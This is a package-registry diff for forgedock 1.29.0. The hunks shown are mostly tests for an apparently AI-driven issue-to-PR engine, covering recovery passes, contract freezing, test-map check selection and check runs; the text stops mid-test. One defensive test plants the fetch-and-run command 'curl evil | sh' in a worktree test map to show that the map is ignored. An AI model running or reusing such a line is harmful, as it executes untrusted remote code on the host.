forgedock 1.28.0 → 1.29.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (53) hide show
  1. package/bin/engine/outcome-codes.mjs +29 -0
  2. package/bin/engine-cli.mjs +71 -16
  3. package/bin/lean/batch.test.mjs +2 -2
  4. package/bin/lean/conformance.mjs +47 -2
  5. package/bin/lean/conformance.test.mjs +53 -1
  6. package/bin/lean/context.mjs +333 -0
  7. package/bin/lean/context.test.mjs +279 -0
  8. package/bin/lean/effects.mjs +19 -1
  9. package/bin/lean/lean.mjs +171 -35
  10. package/bin/lean/lean.test.mjs +413 -7
  11. package/bin/lean/orchestrate.mjs +80 -3
  12. package/bin/lean/prefilter.mjs +2 -2
  13. package/bin/lean/prefilter.test.mjs +3 -0
  14. package/bin/lean/prompts.mjs +22 -7
  15. package/bin/lean/recovery.test.mjs +230 -0
  16. package/bin/lean/render.mjs +25 -5
  17. package/bin/lean/testmap.mjs +84 -0
  18. package/bin/lean/testmap.test.mjs +58 -0
  19. package/bin/lean/verify.mjs +48 -3
  20. package/bin/lean/verify.test.mjs +81 -3
  21. package/bin/stats/index.mjs +12 -2
  22. package/bin/stats/local-source.mjs +13 -0
  23. package/bin/stats/query.mjs +27 -0
  24. package/bin/stats/stats.test.mjs +41 -2
  25. package/commands/orchestrate.md +52 -6
  26. package/docs/CONFIG.md +15 -0
  27. package/docs/OUTCOME-CODES.md +14 -0
  28. package/docs/RELEASE-NOTES.md +9 -0
  29. package/package.json +1 -1
  30. package/scripts/check-spec-markers.sh +1 -0
  31. package/scripts/fixtures/test-map/go/.github/workflows/ci.yml +23 -0
  32. package/scripts/fixtures/test-map/go/Makefile +5 -0
  33. package/scripts/fixtures/test-map/go/README.md +1 -0
  34. package/scripts/fixtures/test-map/go/go.mod +3 -0
  35. package/scripts/fixtures/test-map/go/internal/util/util.go +3 -0
  36. package/scripts/fixtures/test-map/go/main.go +3 -0
  37. package/scripts/fixtures/test-map/node/package.json +10 -0
  38. package/scripts/fixtures/test-map/node/packages/ui/package.json +4 -0
  39. package/scripts/fixtures/test-map/node/packages/ui/src/button.tsx +1 -0
  40. package/scripts/fixtures/test-map/node/pnpm-lock.yaml +1 -0
  41. package/scripts/fixtures/test-map/node/src/a.ts +1 -0
  42. package/scripts/fixtures/test-map/node/vitest.config.ts +1 -0
  43. package/scripts/fixtures/test-map/python/pkg/__init__.py +0 -0
  44. package/scripts/fixtures/test-map/python/pkg/mod.py +2 -0
  45. package/scripts/fixtures/test-map/python/pyproject.toml +9 -0
  46. package/scripts/fixtures/test-map/python/tests/test_mod.py +5 -0
  47. package/scripts/fixtures/test-map/python/uv.lock +1 -0
  48. package/scripts/repo-facts.sh +146 -0
  49. package/scripts/repo-facts.test.sh +106 -0
  50. package/scripts/test-map.sh +211 -0
  51. package/scripts/test-map.test.sh +165 -0
  52. package/scripts/wait-ci-green.sh +10 -4
  53. package/scripts/wait-ci-green.test.sh +9 -0
@@ -11,7 +11,7 @@ import { makeLedger } from "./ledger.mjs";
11
11
  import { renderInvestigation, renderPlan, renderImplementation, renderReview, renderPrBody, renderTrajectory, renderStructure, renderContract, contractJson, parseContractComment, sanitizeMd, capComment, section, cell, NR, MAX_COMMENT_CHARS } from "./render.mjs";
12
12
  import { orchestrate, parseDeps, formatTable, pickNext } from "./orchestrate.mjs";
13
13
  import { REVIEWER_SYSTEM, approxTokens, builderPlanPrompt, builderImplementPrompt, reviewerPrompt, hotspotPlanNote, hotspotBuildRule } from "./prompts.mjs";
14
- import { parseReview, unnamedEdges, structureNote, applyAmendments, validateContract, DECISION_SOURCES } from "./conformance.mjs";
14
+ import { parseReview, unnamedEdges, structureNote, applyAmendments, validateContract, scopeText, DECISION_SOURCES } from "./conformance.mjs";
15
15
  import { mapRecord } from "../engine/telemetry-seam.mjs";
16
16
  import { readLog } from "../engine/runlog.mjs";
17
17
  import { makeRunTmp, wrapLaneLimits, systemdRunAvailable, makeLeanRunner, requiredChecksFor, procsInDir, makeLeanIo } from "./effects.mjs";
@@ -19,7 +19,7 @@ import { retrying, PUSH_TRANSIENT_RE } from "./retry.mjs";
19
19
  import { checkAdmission, hostParallelism } from "./admission.mjs";
20
20
  import { OUTCOME_CODES } from "../engine/outcome-codes.mjs";
21
21
  import * as refactorMod from "./refactor.mjs";
22
- import { readAdmission, readConformanceMode, readReviewIncomplete, readEnvConfig } from "../engine-cli.mjs";
22
+ import { readAdmission, readConformanceMode, readReviewIncomplete, readEnvConfig, readContextPack } from "../engine-cli.mjs";
23
23
  import { prepareToolchain } from "./toolchain.mjs";
24
24
  import { runFromCli, orchestrateFromCli, ENGINE_PATHS, readMaintenance } from "../engine-cli.mjs";
25
25
  // orchestrateFromCli opens the host lane registry (#4191): keep it in a temp dir.
@@ -123,6 +123,7 @@ function world(o = {}) {
123
123
  if (a[0] === "diff") return "diff --git a/src/foo.js b/src/foo.js\n+fix";
124
124
  if (a[0] === "ls-remote" && String(a.at(-1)).startsWith("refs/heads/")) { const b = a.at(-1).slice("refs/heads/".length); return (o.branchesOnOrigin ?? ["staging", "main"]).includes(b) ? `abc\trefs/heads/${b}\n` : ""; }
125
125
  if (a[0] === "ls-remote") return w.remote;
126
+ if (a[0] === "show" && w.baseFiles) { if (!(a[1] in w.baseFiles)) throw new Error(`fatal: path not in ${a[1]}`); return w.baseFiles[a[1]]; }
126
127
  if (a[0] === "push") w.seq.push("push");
127
128
  return "";
128
129
  },
@@ -183,7 +184,7 @@ describe("core work-on", () => {
183
184
  assert.match(w.comments[1], /^<!-- FORGE:INVESTIGATION -->\n<!-- FORGE:VALIDATE -->\n## Investigation Report\n\*\*Verdict\*\*: CONFIRMED/);
184
185
  assert.match(w.comments[2], /^<!-- FORGE:CONTRACT -->\n<!-- FORGE:PLAN -->\n## Builder Contract \(frozen `[0-9a-f]{12}`\)/, "PLAN stays as an alias marker");
185
186
  assert.match(w.comments[2], /\| R1 \| foo must handle a null argument without throwing\. \| deliver \|/);
186
- assert.match(w.comments[2], /<summary>contract\.json \(sha256 [0-9a-f]{12}\)<\/summary>/);
187
+ assert.match(w.comments[2], /<summary>contract\.json \(sha256 [0-9a-f]{12}, issue [0-9a-f]{12}\)<\/summary>/);
187
188
  assert.match(w.comments[3], /## Implementation Complete\n\*\*Branch:\*\* `feat\/issue-7-lean`\n\*\*Files changed:\*\*\n- `src\/foo.js`\n- `test\/foo.test.js`/);
188
189
  assert.match(w.comments[4], /## Conformance Review\n\*\*Verdict:\*\* CONFORMS/);
189
190
  assert.match(w.comments[4], /\| R1 \| implemented \| src\/foo.js:3 \| V1 \|/);
@@ -287,7 +288,7 @@ describe("core work-on", () => {
287
288
  assert.equal(w.prs.length, 1);
288
289
  assert.equal(traj(w).length, 1);
289
290
  assert.match(traj(w)[0], /2 round\(s\)/);
290
- assert.match(traj(w)[0], /Not conforming \(review\): conformance\.unimplemented; builder resumed once/);
291
+ assert.match(traj(w)[0], /Not conforming \(review\): conformance\.unimplemented \(R1 partial: .*\("foo must handle a null argument without throwing\."\)\); builder resumed once/);
291
292
  assert.equal(w.comments.filter((c) => c.includes("FORGE:IMPLEMENTATION")).length, 1, "one implementation note");
292
293
  assert.equal(w.patches.length, 1, "edited in place after the resume");
293
294
  assert.match(w.patches[0].join(" "), /-X PATCH repos\/o\/r\/issues\/comments\/\d+ -f body=<!-- FORGE:IMPLEMENTATION -->/);
@@ -701,6 +702,91 @@ describe("issue edited mid-run (#4188)", () => {
701
702
  assert.equal((await run(w, { dir })).terminalReason, "merged");
702
703
  assert.equal(readLog(dir, 7).filter((e) => e.event === "ISSUE_EDITED").length, 0);
703
704
  });
705
+
706
+ it("#4265 the engine's own FORGE:STATE write to the body is not an issue edit", async () => {
707
+ const dir = tmpDir("issue-engine-edit-");
708
+ const state = `${ISSUE_BODY}\n\n<!-- FORGE:STATE\n{"v":1,"issue":7,"lease":{"by":"core_1","until":1}}\n-->`;
709
+ const w = world({ issueBodies: [ISSUE_BODY, state, `${state.replace("until\":1", "until\":2")}`] });
710
+ assert.equal((await run(w, { dir })).terminalReason, "merged");
711
+ assert.equal(readLog(dir, 7).filter((e) => e.event === "ISSUE_EDITED").length, 0);
712
+ assert.doesNotMatch(traj(w).at(-1), /Issue edited during the run/);
713
+ });
714
+ });
715
+
716
+ describe("in-batch recovery of mechanical needs-human (#4267)", () => {
717
+ const BODY_B = "foo now also needs a bar mode.\n\n- foo must accept a bar flag and return bar output.\n- Existing callers of foo keep working.";
718
+
719
+ it("runCore --recover: removes needs-human, posts FORGE:DECISION, and tells the builder what to recover", async () => {
720
+ const w = world();
721
+ const r = await run(w, { recover: { code: "ci.red", attempt: 1 } });
722
+ assert.equal(r.terminalReason, "merged");
723
+ assert.ok(w.edits.some((e) => e.join(" ") === "issue edit 7 -R o/r --remove-label needs-human"));
724
+ const dec = w.comments.find((c) => c.startsWith("<!-- FORGE:DECISION -->"));
725
+ assert.match(dec, /recovery pass for `ci\.red`/); assert.match(dec, /\*\*Why\*\*/); assert.match(dec, /\*\*Alternative\*\*/);
726
+ assert.ok(builders(w).some((b) => /Recovery pass \(ci\.red\): .*--log-failed/.test(b[4])));
727
+ const w2 = world();
728
+ await run(w2, { recover: { code: "builder.block_untyped", attempt: 1 } });
729
+ assert.ok(builders(w2).some((b) => /pick the option most consistent with the issue, the repo's conventions and prior merged decisions/.test(b[4])));
730
+ const w3 = world();
731
+ await run(w3);
732
+ assert.ok(!w3.comments.some((c) => c.includes("FORGE:DECISION")), "no recovery: nothing changes");
733
+ assert.ok(!builders(w3).some((b) => /Recovery pass/.test(b[4])));
734
+ });
735
+
736
+ it("runCore marks a contract.invalid after a mid-run issue edit (issueEdited) and a failed recovery pass (recovery)", async () => {
737
+ const bad1 = { ...CONTRACT, requirements: [{ id: "R1", quote: "make foo nicer", disposition: "deliver" }] };
738
+ const r = await run(world({ contract: bad1, fixedContract: bad1, issueBodies: [ISSUE_BODY, BODY_B] }), { recover: { code: "contract.invalid", attempt: 1 } });
739
+ assert.equal(r.code, "contract.invalid"); assert.equal(r.issueEdited, true); assert.equal(r.recovery, true);
740
+ const r2 = await run(world({ contract: bad1, fixedContract: bad1 }));
741
+ assert.equal(r2.code, "contract.invalid"); assert.equal(r2.issueEdited, undefined); assert.equal(r2.recovery, undefined);
742
+ });
743
+
744
+ it("a recovery lane puts needs-human back once, with evidence, only on a final failure (ci-pending / needs-human); never on invalid, decomposed, merged, deferred, engine-error (#4297, SPEC-7/8)", async () => {
745
+ const add = (w) => w.edits.filter((e) => e.join(" ") === "issue edit 7 -R o/r --add-label needs-human").length;
746
+ const nh = (w) => w.comments.filter((c) => c.startsWith("<!-- FORGE:NEEDS_HUMAN -->"));
747
+ const ends = {
748
+ "ci-pending": [{ waits: Array(500).fill({ rc: 2, text: "" }) }, { ciMaxMinutes: 10, mergeWait: "all" }],
749
+ "needs-human": [{ waits: [{ rc: 1, text: "lint failed" }] }, { mergeWait: "all" }],
750
+ };
751
+ for (const [reason, [wo, ro]] of Object.entries(ends)) {
752
+ const w = world(wo);
753
+ assert.equal((await run(w, { recover: { code: "ci.red", attempt: 1 }, ...ro })).terminalReason, reason);
754
+ assert.equal(add(w), 1, `${reason}: needs-human re-applied once`);
755
+ assert.equal(nh(w).length, 1, reason);
756
+ assert.match(nh(w)[0], new RegExp(`Recovery pass for \`ci\\.red\` \\(attempt 1\\) did not merge: it ended \`${reason}\``), reason);
757
+ }
758
+ // SPEC-7/8: invalid and decomposed are legitimate endings; deferred/engine-error/dependency-open may be requeued by the runner.
759
+ // The lane itself never relabels them.
760
+ const limitErr = Object.assign(new Error("claude CLI exited with status 1. You've hit your session limit"), { code: "CLI_BACKEND_FAILED", usageLimit: true, resetAtEpochMs: 3 * 3600 * 1000 });
761
+ const failBuilder = (w, err) => { const orig = w.io.runner; let n = 0; w.io.runner = async (c) => { if (c.role === "builder" && n++ < 1) throw err; return orig(c); }; return w; };
762
+ const withDeps = (w, deps) => {
763
+ const gh = w.io.gh;
764
+ w.io.gh = async (x) => {
765
+ if (x[0] === "issue" && x[1] === "view" && deps[x[2]]) return JSON.stringify(deps[x[2]]);
766
+ if (x[0] === "issue" && x[1] === "create") return "https://github.com/o/r/issues/201\n";
767
+ return gh(x);
768
+ };
769
+ return w;
770
+ };
771
+ const quiet = {
772
+ invalid: () => world({ changed: [], result: { status: "invalid", summary: "not a bug", evidence: ["src/foo.js:3 already guards null"], tests: [] } }),
773
+ decomposed: () => withDeps(world({ changed: [], result: { status: "blocked", summary: "epic", block: { kind: "split-required", subissues: [{ title: "part A", body: "do A" }] } } }), {}),
774
+ "dependency-open": () => withDeps(world({ changed: [], result: { status: "blocked", summary: "needs #3", block: { kind: "dependency", issues: ["#3"] } } }), { 3: { state: "OPEN", labels: [] } }),
775
+ "engine-error": () => failBuilder(world(), new Error("boom")),
776
+ deferred: () => failBuilder(world(), limitErr),
777
+ };
778
+ for (const [reason, mk] of Object.entries(quiet)) {
779
+ const w = mk();
780
+ assert.equal((await run(w, { recover: { code: "ci.red", attempt: 1 } })).terminalReason, reason);
781
+ assert.equal(add(w), 0, `${reason}: no needs-human relabel`); assert.equal(nh(w).length, 0, `${reason}: no FORGE:NEEDS_HUMAN`);
782
+ }
783
+ const m = world();
784
+ assert.equal((await run(m, { recover: { code: "ci.red", attempt: 1 } })).terminalReason, "merged");
785
+ assert.equal(add(m), 0); assert.equal(nh(m).length, 0);
786
+ const plain = world(ends["ci-pending"][0]);
787
+ assert.equal((await run(plain, ends["ci-pending"][1])).terminalReason, "ci-pending");
788
+ assert.equal(add(plain), 0, "no recovery: a ci-pending run is not labelled");
789
+ });
704
790
  });
705
791
 
706
792
  describe("devdocs freshness gate (the repo's own scripts/check-devdocs-freshness.sh)", () => {
@@ -918,8 +1004,23 @@ describe("conformance shadow mode (the default)", () => {
918
1004
  const r = await runShadow(w);
919
1005
  assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0);
920
1006
  assert.equal(builders(w).length, 3, "plan + implement + one resume"); assert.equal(reviewers(w).length, 0);
921
- assert.match(builders(w)[2][4], /validate V1 failed \(exit 1\)/);
922
- assert.match(nhBody(w), /validate V1 failed \(exit 1\)/);
1007
+ assert.match(builders(w)[2][4], /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
1008
+ assert.match(nhBody(w), /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
1009
+ });
1010
+
1011
+ it("a failed validate fetches the lane and the resume says how to catch up with a moved base (merge, never rebase)", async () => {
1012
+ const w = world({ validation: [{ id: "V1", command: "node --test test/foo.test.js", exit: 1 }], resumeValidation: [{ id: "V1", command: "node --test test/foo.test.js", exit: 0 }] });
1013
+ assert.equal((await runShadow(w)).terminalReason, "merged");
1014
+ const p = builders(w)[2][4];
1015
+ assert.match(p, /origin\/staging moved on[\s\S]*git merge --no-edit origin\/staging[\s\S]*never rebase or force/);
1016
+ const fetches = w.calls.filter((c) => c[0] === "git" && c[1] === "fetch" && c[2] === "origin" && c[3] === "staging");
1017
+ assert.ok(fetches.length >= 2, "fetched at setup and again before the resume");
1018
+ });
1019
+
1020
+ it("a resume for other failures (a partial requirement) does not mention merging the base", async () => {
1021
+ const w = world({ claims: [{ id: "R1", status: "partial" }] });
1022
+ await runShadow(w);
1023
+ assert.doesNotMatch(builders(w)[2][4], /git merge --no-edit/);
923
1024
  });
924
1025
 
925
1026
  it("shadow: a failed validate fixed by the resume merges", async () => {
@@ -932,6 +1033,15 @@ describe("conformance shadow mode (the default)", () => {
932
1033
  const r = await runShadow(w);
933
1034
  assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0); assert.equal(builders(w).length, 3);
934
1035
  assert.match(nhBody(w), /R1 reported "partial"/);
1036
+ assert.match(nhBody(w), /R1 reported "partial" \("foo must handle a null argument without throwing\."\)/, "#4265: names the unmet requirement");
1037
+ assert.match(traj(w)[0], /Not conforming \(precheck\): conformance\.unimplemented \(R1 reported "partial" \("foo must handle/);
1038
+ });
1039
+
1040
+ it("#4265 a validate step failing after the resume names its command in the needs-human", async () => {
1041
+ const v = [{ id: "V1", command: "node --test test/foo.test.js", exit: 1 }];
1042
+ const w = world({ validation: v, resumeValidation: v });
1043
+ assert.equal((await runShadow(w)).code, "conformance.unimplemented");
1044
+ assert.match(nhBody(w), /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
935
1045
  });
936
1046
 
937
1047
  it("#4160 shadow blocks a validate step with no recorded result and an invalid amendment like a reviewer-found unimplemented requirement", async () => {
@@ -2746,6 +2856,27 @@ describe("batch robustness (#4112-#4115)", () => {
2746
2856
  assert.ok(!w.comments.some((c) => c.includes("FORGE:CONTRACT")), "not re-posted");
2747
2857
  assert.match(traj(w)[0], /frozen contract [0-9a-f]{12} recovered from the issue/);
2748
2858
  });
2859
+ const scoped = (body = ISSUE_BODY) => contractHash(scopeText({ title: "foo breaks", body: `${body}\n\n<!-- FORGE:STATE {"v":1} -->` }, []));
2860
+ it("#4265 a rerun recovers a contract frozen from the current issue scope (engine annotations aside)", async () => {
2861
+ const c = frozenComment(CONTRACT, (b) => b.replace(/\(sha256 ([0-9a-f]{12})\)/, `(sha256 $1, issue ${scoped()})`));
2862
+ const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: [c] });
2863
+ assert.equal((await run(w)).terminalReason, "merged");
2864
+ assert.equal(builders(w).length, 1);
2865
+ assert.match(traj(w)[0], /frozen contract [0-9a-f]{12} recovered from the issue/);
2866
+ });
2867
+ it("#4265 a rerun after the issue scope changed re-plans and freezes a new contract with the current scope hash", async () => {
2868
+ const dir = tmpDir("contract-stale-");
2869
+ const old = frozenComment(CONTRACT, (b) => b.replace(/\(sha256 ([0-9a-f]{12})\)/, `(sha256 $1, issue ${scoped("foo crashes; old scope.")})`));
2870
+ const human = { body: "Also: foo must log the null input.", author_association: "OWNER", user: { type: "User", login: "op" } };
2871
+ for (const [comments, reason] of [[[old], /issue scope [0-9a-f]{12} -> [0-9a-f]{12}/], [[frozenComment(), human], /a human comment was posted after it/]]) {
2872
+ const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: comments });
2873
+ assert.equal((await run(w, { dir })).terminalReason, "merged");
2874
+ assert.match(builders(w)[0][4], /PLANNING ONLY[\s\S]*This is a rerun/);
2875
+ assert.match(traj(w)[0], reason);
2876
+ assert.match(w.comments.find((x) => x.includes("<!-- FORGE:CONTRACT -->")), /\(sha256 [0-9a-f]{12}, issue [0-9a-f]{12}\)/);
2877
+ }
2878
+ assert.equal(readLog(dir, 7).filter((e) => e.event === "CONTRACT_STALE").length, 2);
2879
+ });
2749
2880
  it("a tampered or untrusted contract comment is ignored: the rerun plans again", async () => {
2750
2881
  for (const c of [frozenComment(CONTRACT, (b) => b.replaceAll("guard null", "guard nothing")), frozenComment(CONTRACT, (b) => b, "NONE")]) {
2751
2882
  const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: [c] });
@@ -3041,7 +3172,7 @@ describe("verify-by-CI (#4167): ci mode runs the heavy checks on CI and feeds fa
3041
3172
  writeFileSync(`${d}/forge.yaml`, "engine:\n conformance: shadow\n");
3042
3173
  assert.equal(readVerify(d), undefined);
3043
3174
  writeFileSync(`${d}/forge.yaml`, "verify:\n mode: ci\n workflow: verify.yml\n skip_paths: \"*.md,docs/**\"\n max_rounds: 3\n precheck_timeout_seconds: 60\n");
3044
- assert.deepEqual(readVerify(d), { mode: "ci", workflow: "verify.yml", pathsInput: null, skipPaths: ["*.md", "docs/**"], maxRounds: 3, precheckTimeoutSeconds: 60 });
3175
+ assert.deepEqual(readVerify(d), { mode: "ci", workflow: "verify.yml", pathsInput: null, skipPaths: ["*.md", "docs/**"], maxRounds: 3, precheckTimeoutSeconds: 60, checkRun: false });
3045
3176
  });
3046
3177
  });
3047
3178
 
@@ -3405,6 +3536,85 @@ describe("local-mode CI fix rounds at merge and declared pre-PR check commands (
3405
3536
  });
3406
3537
  });
3407
3538
 
3539
+ describe("test map and repo facts caches (#4272)", () => {
3540
+ const MAPF = "origin/staging:.forge/test-map.json", FACTSF = `${WT}/.forge/repo-facts.json`;
3541
+ const map = (entries) => JSON.stringify({ version: 1, entries });
3542
+ const recorder = (w) => { const ran = []; w.io.runCommand = async ({ command }) => { ran.push(command); return { rc: 0, output: "" }; }; return ran; };
3543
+
3544
+ it("a test map present picks the commands for the changed files instead of learned.test_commands", async () => {
3545
+ const w = world(); const ran = recorder(w); w.baseFiles = {};
3546
+ w.baseFiles[MAPF] = map([{ globs: ["src/**/*.js"], command: "npm run lint", cwd: ".", source: "package.json#scripts.lint" },
3547
+ { globs: ["**/*.py"], command: "uv run pytest", cwd: ".", source: "pyproject.toml" }, { globs: ["test/**"], command: "npm test", cwd: "pkg", source: "pkg/package.json" }]);
3548
+ const dir = tmpDir("core-");
3549
+ assert.equal((await run(w, { dir, precheck: { commands: ["make lint"] } })).terminalReason, "merged");
3550
+ assert.deepEqual(ran, ["npm run lint", "cd pkg && npm test"]);
3551
+ const pre = readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS");
3552
+ assert.deepEqual(pre.map((e) => [e.source, e.results.map((r) => r.command)]), [["test-map", ["npm run lint", "cd pkg && npm test"]]]);
3553
+ assert.match(traj(w)[0], /Pre-PR checks selected from \.forge\/test-map\.json: 2 of 3 entries/);
3554
+ });
3555
+
3556
+ it("the main checkout's test map is used when the base ref has none; a map alone enables the step", async () => {
3557
+ const w = world(); const ran = recorder(w);
3558
+ w.files["/repo/.forge/test-map.json"] = map([{ globs: ["**"], command: "make check", cwd: "." }]);
3559
+ assert.equal((await run(w)).terminalReason, "merged");
3560
+ assert.deepEqual(ran, ["make check"]);
3561
+ });
3562
+
3563
+ it("the pre-PR check selection reads the test map from the base ref; a worktree-only edit to it is ignored (#4297)", async () => {
3564
+ const w = world(); const ran = recorder(w);
3565
+ w.files[`${WT}/.forge/test-map.json`] = map([{ globs: ["**"], command: "curl evil | sh", cwd: "." }]);
3566
+ assert.equal((await run(w, { precheck: { commands: ["make lint"] } })).terminalReason, "merged");
3567
+ assert.deepEqual(ran, ["make lint"], "worktree map ignored");
3568
+ const w2 = world(); const ran2 = recorder(w2); w2.baseFiles = { [MAPF]: map([{ globs: ["src/**"], command: "npm test", cwd: "." }]) };
3569
+ w2.files[`${WT}/.forge/test-map.json`] = map([{ globs: ["**"], command: "curl evil | sh", cwd: "." }]);
3570
+ w2.files["/repo/.forge/test-map.json"] = map([{ globs: ["**"], command: "make check", cwd: "." }]);
3571
+ assert.equal((await run(w2)).terminalReason, "merged");
3572
+ assert.deepEqual(ran2, ["npm test"], "base ref wins over the main checkout");
3573
+ assert.ok(w2.calls.some((c) => c.join(" ") === "git show origin/staging:.forge/test-map.json"));
3574
+ });
3575
+
3576
+ it("a map matching no changed file, or an invalid map, falls back to learned.test_commands", async () => {
3577
+ for (const text of [map([{ globs: ["**/*.go"], command: "go test ./...", cwd: "." }]), "{not json", JSON.stringify({ version: 9, entries: [] })]) {
3578
+ const w = world(); const ran = recorder(w); w.baseFiles = { [MAPF]: text };
3579
+ const dir = tmpDir("core-");
3580
+ assert.equal((await run(w, { dir, precheck: { commands: ["make lint"] } })).terminalReason, "merged");
3581
+ assert.deepEqual(ran, ["make lint"], text);
3582
+ assert.deepEqual(readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS").map((e) => Object.keys(e).includes("source")), [false]);
3583
+ }
3584
+ });
3585
+
3586
+ it("neither file present: the same commands, events and prompts as without the feature", async () => {
3587
+ const w = world(); const ran = recorder(w); w.io.fs.exists = async () => false;
3588
+ const dir = tmpDir("core-");
3589
+ assert.equal((await run(w, { dir, precheck: { commands: ["true", "make lint"] } })).terminalReason, "merged");
3590
+ assert.deepEqual(ran, ["true", "make lint"]);
3591
+ assert.deepEqual(readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS").map(({ round, results, ...rest }) => [round, results, Object.keys(rest).filter((k) => k === "source")]),
3592
+ [[0, [{ command: "true", rc: 0 }, { command: "make lint", rc: 0 }], []]]);
3593
+ const [plan, impl] = builders(w);
3594
+ assert.equal(plan[4].startsWith(builderPlanPrompt(7)), true); assert.equal(impl[4].startsWith(builderImplementPrompt("local")), true);
3595
+ for (const b of builders(w)) assert.doesNotMatch(b[4], /Repo facts/);
3596
+ assert.doesNotMatch(traj(w)[0], /test-map/);
3597
+ });
3598
+
3599
+ it("repo-facts.json present: the builder prompts cite its path, never its content", async () => {
3600
+ const w = world(); recorder(w);
3601
+ w.files[FACTSF] = JSON.stringify({ version: 1, toolchain: { pm: { name: "pnpm", version: "9.9.9-SECRET" } } });
3602
+ w.io.fs.exists = async (p) => p in w.files;
3603
+ assert.equal((await run(w)).terminalReason, "merged");
3604
+ const [plan, impl] = builders(w);
3605
+ for (const b of [plan, impl]) { assert.ok(b[4].includes(`are cached in ${FACTSF}`)); assert.doesNotMatch(b[4], /9\.9\.9-SECRET/); }
3606
+ const w2 = world(); recorder(w2); w2.files["/repo/.forge/repo-facts.json"] = "{}"; w2.io.fs.exists = async (p) => p in w2.files;
3607
+ assert.equal((await run(w2)).terminalReason, "merged");
3608
+ assert.ok(builders(w2)[0][4].includes("are cached in /repo/.forge/repo-facts.json"));
3609
+ });
3610
+
3611
+ it("prompts are byte-identical without a facts path", () => {
3612
+ assert.equal(builderPlanPrompt(7, { toolchain: null, facts: null }), builderPlanPrompt(7));
3613
+ assert.equal(builderImplementPrompt("ci", { facts: null }), builderImplementPrompt("ci"));
3614
+ assert.match(builderImplementPrompt("local", { facts: "/x/.forge/repo-facts.json" }), /Repo facts \(toolchain pins, slow suites, layer rules, hotspots\) are cached in \/x\/\.forge\/repo-facts\.json/);
3615
+ });
3616
+ });
3617
+
3408
3618
  describe("toolchain pins and env.setup at lane setup (#4163)", () => {
3409
3619
  /** Real detection over the fake worktree files; shim writes are recorded, npx is the only launcher on the fake host. */
3410
3620
  const pinned = (w, files, { node = "v26.7.0" } = {}) => {
@@ -3633,6 +3843,202 @@ describe("hybrid placement in the lane's FORGE annotation (#4256)", () => {
3633
3843
  });
3634
3844
  });
3635
3845
 
3846
+ describe("verify.check_run: forgedock/verify check run (#4270)", () => {
3847
+ const withChecks = (o = {}, fail = null) => {
3848
+ const w = world(o);
3849
+ w.checkRuns = [];
3850
+ w.io.createCheckRun = async (c) => { w.checkRuns.push(c); if (fail) throw new Error(fail); return { id: w.checkRuns.length, html_url: `https://github.com/o/r/runs/${w.checkRuns.length}` }; };
3851
+ return w;
3852
+ };
3853
+ const on = { verify: { mode: "local", checkRun: true } };
3854
+ const strip = (evs) => evs.map(({ ts, ...e }) => e);
3855
+
3856
+ it("posts one success check run on the pushed PR head with per-gate typed output and a VERIFY event", async () => {
3857
+ const dir = tmpDir("vcr-");
3858
+ const w = withChecks();
3859
+ const r = await run(w, { dir, ...on });
3860
+ assert.equal(r.terminalReason, "merged");
3861
+ assert.equal(w.checkRuns.length, 1);
3862
+ const c = w.checkRuns[0];
3863
+ assert.equal(c.name, "forgedock/verify");
3864
+ assert.equal(c.sha, w.head);
3865
+ assert.equal(c.conclusion, "success");
3866
+ const out = JSON.parse(/```json\n([\s\S]*)\n```/.exec(c.text)[1]);
3867
+ assert.deepEqual(out.gates.map((g) => g.id), ["precheck.commands", "structure.edges", "docs.freshness", "conformance.scope", "conformance.validate", "conformance.requirements", "maintenance.hotspot_growth", "conformance.amendments"]);
3868
+ assert.ok(out.gates.every((g) => g.ok === true));
3869
+ assert.deepEqual(out.gates.find((g) => g.id === "conformance.validate").evidence, [{ id: "V1", command: "node --test test/foo.test.js", exit: 0 }]);
3870
+ const v = readLog(dir, 7).filter((e) => e.event === "VERIFY");
3871
+ assert.equal(v.length, 1);
3872
+ assert.equal(v[0].head, w.head); assert.equal(v[0].conclusion, "success"); assert.equal(v[0].posted, true);
3873
+ assert.ok(readLog(dir, 7).findIndex((e) => e.event === "PR_OPENED") < readLog(dir, 7).findIndex((e) => e.event === "VERIFY"), "after the PR head is pushed");
3874
+ });
3875
+
3876
+ it("reports failure iff an existing gate failed (shadow scope creep), without changing the lane outcome", async () => {
3877
+ const w = withChecks({ changed: ["src/foo.js", "test/foo.test.js", "src/extra.js"] });
3878
+ const base = world({ changed: ["src/foo.js", "test/foo.test.js", "src/extra.js"] });
3879
+ const r = await run(w, { conformance: "shadow", ...on });
3880
+ assert.equal(r.terminalReason, (await run(base, { conformance: "shadow" })).terminalReason);
3881
+ assert.equal(w.checkRuns.length, 1);
3882
+ assert.equal(w.checkRuns[0].conclusion, "failure");
3883
+ const out = JSON.parse(/```json\n([\s\S]*)\n```/.exec(w.checkRuns[0].text)[1]);
3884
+ const scope = out.gates.find((g) => g.id === "conformance.scope");
3885
+ assert.equal(scope.ok, false); assert.match(scope.evidence[0], /src\/extra\.js/);
3886
+ assert.ok(out.gates.filter((g) => g.id !== "conformance.scope").every((g) => g.ok));
3887
+ });
3888
+
3889
+ it("posts once per pushed head: a base-sync that moves the head gets its own check run", async () => {
3890
+ const w = withChecks({ prView: [{ mergeable: "CONFLICTING", mergeStateStatus: "DIRTY" }, { mergeable: "MERGEABLE", mergeStateStatus: "CLEAN" }], mergeResults: ["clean"] });
3891
+ assert.equal((await run(w, on)).terminalReason, "merged");
3892
+ assert.equal(w.checkRuns.length, 2);
3893
+ assert.match(w.checkRuns[0].sha, /^bbbb/, "the reviewed PR head");
3894
+ assert.match(w.checkRuns[1].sha, /^cccc/, "the base-synced head");
3895
+ assert.equal(w.checkRuns[1].sha, w.head);
3896
+ });
3897
+
3898
